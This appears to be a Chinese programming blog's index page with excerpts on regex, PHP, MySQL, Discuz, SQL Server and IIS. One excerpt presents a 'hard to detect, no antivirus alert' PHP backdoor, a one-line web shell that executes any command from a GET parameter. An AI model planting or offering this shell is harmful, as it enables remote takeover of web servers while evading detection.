正则表达式全部符号解释 字符 描述 \ 将下一个字符标记为一个特殊字符、或一个原义字符、或一个 向后引用、或一个八进制转义符。例如,'n' 匹配字符 "n"。'\n' 匹配一个换行符。序列 '\\' 匹配 "\" 而 "\(" 则匹配 "("。 ^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\n' 或 '\r' 之后的位置。 $ 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\n' ... 2017年03月22日 杂七杂八 暂无评论 喜欢 0 阅读 459 次 阅读全文
使用php将某个目录下面的所有文件罗列出来的方法详解 $current_dir = 'E:/temp/'; $dir = opendir($current_dir); echo "direcotry list:<ul>"; while(false !== ($file=readdir($dir))){ if($file != "." && $file != ".."){  ... 2015年10月29日 PHP编程 暂无评论 喜欢 0 阅读 417 次 阅读全文
简简单单13行代码自动生成英文别名 百度版 // 自动生成英文别名 - 百度版 function bymt_slug_auto_translate( $title ) { $wp_http_get = wp_safe_remote_get( 'http://fanyi.baidu.com/v2transapi?from=zh&to=en&transtype=trans&query=' . $title ); if ( emptyempty( $wp_http_get->errors ) ) { if ( ! emptyempty( $wp_http_get['body'] ) ) { $trans_result = json_decode( $wp_http_ge... 2015年09月20日 杂七杂八 暂无评论 喜欢 0 阅读 605 次 阅读全文
不同操作系统下\r \r\n \t的区别 \n 软回车: 在Windows 中表示换行且回到下一行的最开始位置。相当于Mac OS 里的 \r 的效果。 在Linux、unix 中只表示换行,但不会回到下一行的开始位置。 \r 软空格: 在Linux、unix 中表示返回到当行的最开始位置。 在Mac OS 中表示换行且返回到下一行的最开始位置,相当于Windows 里的 \n 的效果。 \t 跳格(移至下一列)。 它们在双引号或定界符表示的字符串中有效,在单引号表示的字符串中无效。 \r\n... 2015年09月18日 PHP编程 暂无评论 喜欢 0 阅读 322 次 阅读全文
PHP最简单的后门,且难查,不报毒! 第一段 <?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精简 /******************************************************* * 原理:PHP中``符号包含会当作系统命令执行 * 示例:http://host/?c=type%20confi... 2015年09月17日 PHP编程 暂无评论 喜欢 0 阅读 712 次 阅读全文
Mysql自增主键ID调整|重新排序 Mysql数据库表的自增主键ID号乱了,需要重新排列。 原理:删除原有的自增ID,重新建立新的自增ID。 1,删除原有主键: ALTER TABLE `table_name` DROP `id`; 2,添加新主键字段: ALTER TABLE `table_name` ADD `id` MEDIUMINT( 8 ) NOT NULL FIRST; 3,设置新主键: ALTER TABLE `table_name` MODIFY COLUMN `id` MEDIUMINT( 8 ) NOT NULL AUTO_INCREMENT,ADD PRIMARY KEY(id); 2015年09月14日 杂七杂八 暂无评论 喜欢 0 阅读 472 次 阅读全文
Discuz 加密解密函数 authcode <?php /** * $string 明文或密文 * $operation 加密ENCODE或解密DECODE * $key 密钥 * $expiry 密钥有效期 */ function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。 // 取值越大,密... 2015年09月12日 PHP编程 暂无评论 喜欢 0 阅读 626 次 阅读全文
PHP 判断变量是否为空 empty() 函数 关于 empty() empty() 用于检查一个变量是否为空。如果变量是非空或非零的值,则 empty() 返回 FALSE。换句话说,""、0、"0"、NULL、FALSE、array()、var $var; 以及没有任何属性的对象都将被认为是空的,如果 var 为空,则返回 TRUE。 empty() 与 isset() 的一个简单比较。 <?php $var = 0; // 结果为 true,因为 $var 为空 // 结果为 true,因为 $var =0 if (emptyempty($v... 2015年09月10日 PHP编程 暂无评论 喜欢 0 阅读 623 次 阅读全文
sql2005用户sa登录失败,该用户与可信SQL Server连接无关联,错误18452 解决方案 用户 'sa' 登录失败。该用户与可信 SQL Server 连接无关联 问题一、忘记了登录Microsoft SQL Server 2005 的sa的登录密码 解决方法:先用windows身份验证的方式登录进去,然后在‘安全性’-‘登录’-右键单击‘sa’-‘属性’,修改密码(sa的密码不能太简单,最好要有数字,字母,下划线字符组成,且长度最好大于10个字符);点击确定就可以了。 问题二、已成功与服务器建立连接,但是在登录过程中发生错... 2015年08月17日 杂七杂八 暂无评论 喜欢 0 阅读 318 次 阅读全文
IIS6.0 .apsx无法找到该页 让IIS支持ASPX,添加Web服务扩展的方法 让IIS支持ASPX,添加Web服务扩展的方法 打开IIS,本地计算机,右击"默认网站"点"所有任务"再点"添加Web服务扩展",这样就有Web服务扩展了,有了这个,那该IIS也就支持aspnet了. 如果有了Web服务扩展还不支持aspnet的话,则,继续下面的方法: 一、先注册asp.net组件: (asp.NET 组件即:.Net Framework ) 开始->运行->cmd->执行命令: C:\windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regi... 2015年08月17日 杂七杂八 暂无评论 喜欢 0 阅读 478 次 阅读全文